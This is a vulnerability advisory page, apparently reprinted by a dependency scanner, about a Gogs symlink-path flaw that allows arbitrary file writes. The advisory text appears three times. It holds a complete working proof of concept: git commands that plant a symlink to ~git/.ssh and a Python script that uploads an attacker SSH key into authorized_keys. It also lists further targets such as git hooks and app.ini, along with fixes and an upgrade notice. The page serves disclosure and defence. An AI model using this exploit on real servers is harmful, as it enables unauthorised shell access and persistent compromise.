Summary `(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `<repo>.git/hooks/post-receive` → next-push RCE. Windows builds are unaffected: `filepath.Base` treats `\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks). Details The asymmetric check at `internal/database/repo_editor.go:601-612`: ```go targetPath := path.Join(dirPath, upload.Name) if osx.IsSymlink(targetPath) { // ← LEAF-ONLY return errors.Newf("cannot overwrite symbolic link: %s", upload.Name) } if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... } ``` vs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`: ```go if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) { return errors.New("cannot update file with symbolic link in path") } ``` `hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call. Multi-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile("file")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, "\\", "/")` — converting backslashes to forward slashes; (3) `upload.Name = "evil/foo"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`. Suggested fix 1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses. 2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo. 3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer. 4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values. PoC Tested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic). ### Reproduction prerequisites - gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != "windows"`). - Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos). - `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default). - Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly. ### Why curl alone is unreliable Bug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\X` → `X`) yields a single `\` in the parsed filename, which `pathx.Clean` then turns into `/`. | Shell form | Wire bytes | Go parses to | upload.Name | Triggers? | |---|---|---|---|---| | `-F "...filename=a\b"` | `a\b` | `ab` | `ab` | no | | `-F "...filename=a\\b"` (double quotes) | `a\b` | `ab` | `ab` | no | | `-F '...filename=a\\b'` (single quotes) | `a\\b` | `a\b` | `a/b` | **yes** | The Python below removes the ambiguity. ### Step 1 — plant the directory symlink ```sh git clone https://attacker:[email protected]/attacker/playground cd playground ln -s /home/git/.ssh hijack git add hijack && git commit -m 'docs link' && git push origin main cd .. ``` Bare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `<conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh`. ### Step 2 — upload + commit Save as `poc.py`: ```python #!/usr/bin/env python3 """PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.""" import http.client, ssl, json, re, urllib.parse from http.cookies import SimpleCookie GOGS_HOST = 'gogs.example' USERNAME = 'attacker' PASSWORD = 'attacker_password' REPO_OWNER = 'attacker' REPO_NAME = 'playground' BRANCH = 'main' PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n' ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000 def conn(): if ctx is None: return http.client.HTTPConnection(GOGS_HOST, 3000) return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx) cookies = {} def update_cookies(resp): for hdr in resp.msg.get_all('Set-Cookie') or []: for name, morsel in SimpleCookie(hdr).items(): cookies[name] = morsel.value def cookie_header(): return '; '.join(f'{k}={v}' for k, v in cookies.items()) def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1) # 1. GET /user/login → session cookie + CSRF c = conn(); c.request('GET', '/user/login') r = c.getresponse(); update_cookies(r) csrf_token = get_csrf(r.read().decode()) # 2. Submit credentials c = conn() c.request('POST', '/user/login', body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read(); update_cookies(r) assert r.status in (302, 303), f'login failed: {r.status}' # 3. Refresh CSRF for the logged-in session c = conn() c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()}) r = c.getresponse(); html = r.read().decode(); update_cookies(r) csrf_token = get_csrf(html) # 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename. # Wire form: filename="hijack\\authorized_keys" boundary = '----poc-' + 'x' * 16 filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes body = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n' f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n' ).encode() c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={ 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token, }) r = c.getresponse(); upload_resp = r.read().decode() print('upload status:', r.status, 'body:', upload_resp) uuid = json.loads(upload_resp)['uuid'] # 5. Commit the uploaded file at the repo root. c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/', body=urllib.parse.urlencode({ '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link', 'commit_choice': 'direct', 'files': uuid, }), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read() print('commit status:', r.status) ``` ```sh python3 poc.py # upload status: 200 body: {"uuid":"<UUID>"} # commit status: 302 ``` ### Step 3 — confirm and use the foothold ```sh sudo cat /home/git/.ssh/authorized_keys # operator's view # → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop ssh -i ~/.ssh/id_ed25519 [email protected] # attacker's view # → shell as the gogs runtime UID ``` ### Server-side trace ``` multipart wire bytes: filename="hijack\\authorized_keys" mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \) filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator) pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean) UploadRepoFiles: targetPath = <local-r>/<repoID>/hijack/authorized_keys = /home/git/.ssh/authorized_keys (parent symlink resolved) osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink) iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink) ``` ### Other reachable targets (same primitive) | Symlink target | Effect on next event | |---|---| | `/home/git/.ssh` | SSH key implant → shell as gogs UID | | `<RepoRoot>/<owner>/<repo>.git/hooks` | Hook overwrite → arbitrary code on next push | | `<RepoRoot>/<owner>/<repo>.git` | `core.fsmonitor=<cmd>` in `config` → exec on next git op | | `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart | | Path of the sqlite DB file | DoS or admin-row replant | ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 diff <(sed -n '160,170p' internal/database/repo_editor.go) \ <(sed -n '601,615p' internal/database/repo_editor.go) # Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only) sed -n '13,16p' internal/pathx/pathx.go # Confirm: pathx.Clean does ReplaceAll("\\", "/") ``` Impact - **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold. - Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).
Summary `(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `<repo>.git/hooks/post-receive` → next-push RCE. Windows builds are unaffected: `filepath.Base` treats `\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks). Details The asymmetric check at `internal/database/repo_editor.go:601-612`: ```go targetPath := path.Join(dirPath, upload.Name) if osx.IsSymlink(targetPath) { // ← LEAF-ONLY return errors.Newf("cannot overwrite symbolic link: %s", upload.Name) } if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... } ``` vs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`: ```go if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) { return errors.New("cannot update file with symbolic link in path") } ``` `hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call. Multi-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile("file")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, "\\", "/")` — converting backslashes to forward slashes; (3) `upload.Name = "evil/foo"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`. Suggested fix 1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses. 2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo. 3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer. 4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values. PoC Tested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic). ### Reproduction prerequisites - gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != "windows"`). - Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos). - `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default). - Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly. ### Why curl alone is unreliable Bug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\X` → `X`) yields a single `\` in the parsed filename, which `pathx.Clean` then turns into `/`. | Shell form | Wire bytes | Go parses to | upload.Name | Triggers? | |---|---|---|---|---| | `-F "...filename=a\b"` | `a\b` | `ab` | `ab` | no | | `-F "...filename=a\\b"` (double quotes) | `a\b` | `ab` | `ab` | no | | `-F '...filename=a\\b'` (single quotes) | `a\\b` | `a\b` | `a/b` | **yes** | The Python below removes the ambiguity. ### Step 1 — plant the directory symlink ```sh git clone https://attacker:[email protected]/attacker/playground cd playground ln -s /home/git/.ssh hijack git add hijack && git commit -m 'docs link' && git push origin main cd .. ``` Bare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `<conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh`. ### Step 2 — upload + commit Save as `poc.py`: ```python #!/usr/bin/env python3 """PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.""" import http.client, ssl, json, re, urllib.parse from http.cookies import SimpleCookie GOGS_HOST = 'gogs.example' USERNAME = 'attacker' PASSWORD = 'attacker_password' REPO_OWNER = 'attacker' REPO_NAME = 'playground' BRANCH = 'main' PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n' ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000 def conn(): if ctx is None: return http.client.HTTPConnection(GOGS_HOST, 3000) return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx) cookies = {} def update_cookies(resp): for hdr in resp.msg.get_all('Set-Cookie') or []: for name, morsel in SimpleCookie(hdr).items(): cookies[name] = morsel.value def cookie_header(): return '; '.join(f'{k}={v}' for k, v in cookies.items()) def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1) # 1. GET /user/login → session cookie + CSRF c = conn(); c.request('GET', '/user/login') r = c.getresponse(); update_cookies(r) csrf_token = get_csrf(r.read().decode()) # 2. Submit credentials c = conn() c.request('POST', '/user/login', body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read(); update_cookies(r) assert r.status in (302, 303), f'login failed: {r.status}' # 3. Refresh CSRF for the logged-in session c = conn() c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()}) r = c.getresponse(); html = r.read().decode(); update_cookies(r) csrf_token = get_csrf(html) # 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename. # Wire form: filename="hijack\\authorized_keys" boundary = '----poc-' + 'x' * 16 filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes body = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n' f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n' ).encode() c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={ 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token, }) r = c.getresponse(); upload_resp = r.read().decode() print('upload status:', r.status, 'body:', upload_resp) uuid = json.loads(upload_resp)['uuid'] # 5. Commit the uploaded file at the repo root. c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/', body=urllib.parse.urlencode({ '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link', 'commit_choice': 'direct', 'files': uuid, }), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read() print('commit status:', r.status) ``` ```sh python3 poc.py # upload status: 200 body: {"uuid":"<UUID>"} # commit status: 302 ``` ### Step 3 — confirm and use the foothold ```sh sudo cat /home/git/.ssh/authorized_keys # operator's view # → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop ssh -i ~/.ssh/id_ed25519 [email protected] # attacker's view # → shell as the gogs runtime UID ``` ### Server-side trace ``` multipart wire bytes: filename="hijack\\authorized_keys" mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \) filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator) pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean) UploadRepoFiles: targetPath = <local-r>/<repoID>/hijack/authorized_keys = /home/git/.ssh/authorized_keys (parent symlink resolved) osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink) iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink) ``` ### Other reachable targets (same primitive) | Symlink target | Effect on next event | |---|---| | `/home/git/.ssh` | SSH key implant → shell as gogs UID | | `<RepoRoot>/<owner>/<repo>.git/hooks` | Hook overwrite → arbitrary code on next push | | `<RepoRoot>/<owner>/<repo>.git` | `core.fsmonitor=<cmd>` in `config` → exec on next git op | | `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart | | Path of the sqlite DB file | DoS or admin-row replant | ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 diff <(sed -n '160,170p' internal/database/repo_editor.go) \ <(sed -n '601,615p' internal/database/repo_editor.go) # Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only) sed -n '13,16p' internal/pathx/pathx.go # Confirm: pathx.Clean does ReplaceAll("\\", "/") ``` Impact - **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold. - Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).
Update gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs: UploadRepoFiles writes outside repo working tree via committed parent sym affects gogs.io/gogs (go). Severity is critical. Summary `(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `<repo>.git/hooks/post-receive` → next-push RCE. Windows builds are unaffected: `filepath.Base` treats `\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks). Details The asymmetric check at `internal/database/repo_editor.go:601-612`: ```go targetPath := path.Join(dirPath, upload.Name) if osx.IsSymlink(targetPath) { // ← LEAF-ONLY return errors.Newf("cannot overwrite symbolic link: %s", upload.Name) } if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... } ``` vs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`: ```go if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) { return errors.New("cannot update file with symbolic link in path") } ``` `hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call. Multi-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile("file")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, "\\", "/")` — converting backslashes to forward slashes; (3) `upload.Name = "evil/foo"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`. Suggested fix 1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses. 2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo. 3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer. 4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values. PoC Tested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic). ### Reproduction prerequisites - gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != "windows"`). - Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos). - `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default). - Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly. ### Why curl alone is unreliable Bug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\X` → `X`) yields a single `\` in the parsed filename, which `pathx.Clean` then turns into `/`. | Shell form | Wire bytes | Go parses to | upload.Name | Triggers? | |---|---|---|---|---| | `-F "...filename=a\b"` | `a\b` | `ab` | `ab` | no | | `-F "...filename=a\\b"` (double quotes) | `a\b` | `ab` | `ab` | no | | `-F '...filename=a\\b'` (single quotes) | `a\\b` | `a\b` | `a/b` | **yes** | The Python below removes the ambiguity. ### Step 1 — plant the directory symlink ```sh git clone https://attacker:[email protected]/attacker/playground cd playground ln -s /home/git/.ssh hijack git add hijack && git commit -m 'docs link' && git push origin main cd .. ``` Bare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `<conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh`. ### Step 2 — upload + commit Save as `poc.py`: ```python #!/usr/bin/env python3 """PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.""" import http.client, ssl, json, re, urllib.parse from http.cookies import SimpleCookie GOGS_HOST = 'gogs.example' USERNAME = 'attacker' PASSWORD = 'attacker_password' REPO_OWNER = 'attacker' REPO_NAME = 'playground' BRANCH = 'main' PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n' ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000 def conn(): if ctx is None: return http.client.HTTPConnection(GOGS_HOST, 3000) return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx) cookies = {} def update_cookies(resp): for hdr in resp.msg.get_all('Set-Cookie') or []: for name, morsel in SimpleCookie(hdr).items(): cookies[name] = morsel.value def cookie_header(): return '; '.join(f'{k}={v}' for k, v in cookies.items()) def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1) # 1. GET /user/login → session cookie + CSRF c = conn(); c.request('GET', '/user/login') r = c.getresponse(); update_cookies(r) csrf_token = get_csrf(r.read().decode()) # 2. Submit credentials c = conn() c.request('POST', '/user/login', body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read(); update_cookies(r) assert r.status in (302, 303), f'login failed: {r.status}' # 3. Refresh CSRF for the logged-in session c = conn() c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()}) r = c.getresponse(); html = r.read().decode(); update_cookies(r) csrf_token = get_csrf(html) # 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename. # Wire form: filename="hijack\\authorized_keys" boundary = '----poc-' + 'x' * 16 filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes body = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n' f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n' ).encode() c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={ 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token, }) r = c.getresponse(); upload_resp = r.read().decode() print('upload status:', r.status, 'body:', upload_resp) uuid = json.loads(upload_resp)['uuid'] # 5. Commit the uploaded file at the repo root. c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/', body=urllib.parse.urlencode({ '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link', 'commit_choice': 'direct', 'files': uuid, }), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read() print('commit status:', r.status) ``` ```sh python3 poc.py # upload status: 200 body: {"uuid":"<UUID>"} # commit status: 302 ``` ### Step 3 — confirm and use the foothold ```sh sudo cat /home/git/.ssh/authorized_keys # operator's view # → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop ssh -i ~/.ssh/id_ed25519 [email protected] # attacker's view # → shell as the gogs runtime UID ``` ### Server-side trace ``` multipart wire bytes: filename="hijack\\authorized_keys" mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \) filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator) pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean) UploadRepoFiles: targetPath = <local-r>/<repoID>/hijack/authorized_keys = /home/git/.ssh/authorized_keys (parent symlink resolved) osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink) iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink) ``` ### Other reachable targets (same primitive) | Symlink target | Effect on next event | |---|---| | `/home/git/.ssh` | SSH key implant → shell as gogs UID | | `<RepoRoot>/<owner>/<repo>.git/hooks` | Hook overwrite → arbitrary code on next push | | `<RepoRoot>/<owner>/<repo>.git` | `core.fsmonitor=<cmd>` in `config` → exec on next git op | | `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart | | Path of the sqlite DB file | DoS or admin-row replant | ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 diff <(sed -n '160,170p' internal/database/repo_editor.go) \ <(sed -n '601,615p' internal/database/repo_editor.go) # Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only) sed -n '13,16p' internal/pathx/pathx.go # Confirm: pathx.Clean does ReplaceAll("\\", "/") ``` Impact - **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold. - Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
